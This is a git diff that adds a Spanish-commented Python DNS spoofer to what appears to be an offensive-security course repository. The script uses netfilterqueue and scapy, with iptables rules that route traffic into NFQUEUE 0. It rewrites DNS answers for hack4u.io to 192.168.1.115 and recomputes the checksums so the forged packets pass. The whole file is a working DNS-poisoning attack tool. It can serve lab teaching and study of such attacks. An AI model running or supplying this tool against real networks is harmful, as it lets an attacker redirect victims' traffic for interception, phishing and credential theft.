diff --git a/python-ofensivo/15_hacking/07_dns_spoofer.py b/python-ofensivo/15_hacking/07_dns_spoofer.py new file mode 100644 index 0000000..4232601 --- /dev/null +++ b/python-ofensivo/15_hacking/07_dns_spoofer.py @@ -0,0 +1,88 @@ +# /usr/bin/env python3 +""" +DNS Spoofer + +Se necesita instalar netfilterqueue: +pip3 install netfilterqueue + +Para que funcione hay que redirigir el tráfico a la cola 0: +iptables -I INPUT -j NFQUEUE --queue-num 0 +iptables -I OUTPUT -j NFQUEUE --queue-num 0 +iptables -I FORWARD -j NFQUEUE --queue-num 0 +iptables --policy FORWARD ACCEPT + +Con esto no puedes navegar porque los paquetes están a la espera +de ser procesados por netfilterqueue. + +Para eliminar las anteriores reglas: +iptables -D INPUT -j NFQUEUE --queue-num 0 +iptables -D OUTPUT -j NFQUEUE --queue-num 0 +iptables -D FORWARD -j NFQUEUE --queue-num 0 +iptables --policy FORWARD ACCEPT + +""" + +import netfilterqueue +import scapy.all as scapy +import signal +import sys + + +def def_handler(sig, frame): + + print('\n[!] Saliendo...\n') + sys.exit(1) + + +signal.signal(signal.SIGINT, def_handler) + + +def process_packet(packet): + """ + Procesa los paquetes que llegan a la cola 0 + """ + + # El paquete en bruto lo tratamos como un paquete scapy para poder manipularlo + scapy_packet = scapy.IP(packet.get_payload()) + + # Filtramos los paquetes DNS por el puerto 53 y que tengan una capa DNSRR + if scapy_packet.haslayer(scapy.DNSRR): + + # Obtenemos el nombre del dominio + qname = scapy_packet[scapy.DNSQR].qname + + # Si el dominio es hack4u.io + if b"hack4u.io" in qname: + + print( + f"\n[+] Envenenando los dominios hack4u.io ...\n" + ) + + # Creamos un paquete DNSRR con el nombre del dominio + # y la IP a la que queremos redirigir + answer = scapy.DNSRR(rrname=qname, rdata="192.168.1.115") + + # Modificamos el paquete DNS original con la respuesta que queremos + scapy_packet[scapy.DNS].an = answer + # Ponemos el número de respuestas a 1 + # (En este caso tenía 3 originalmente) + scapy_packet[scapy.DNS].ancount = 1 + + # Eliminamos los campos de longitud y checksum + # para que scapy los recalcule + del scapy_packet[scapy.IP].len + del scapy_packet[scapy.IP].chksum + del scapy_packet[scapy.UDP].len + del scapy_packet[scapy.UDP].chksum + + packet.set_payload(scapy_packet.build()) + + packet.accept() + +print(f"[+] Iniciando el envenenamiento de DNS ...") + +queue = netfilterqueue.NetfilterQueue() + +queue.bind(0, process_packet) + +queue.run()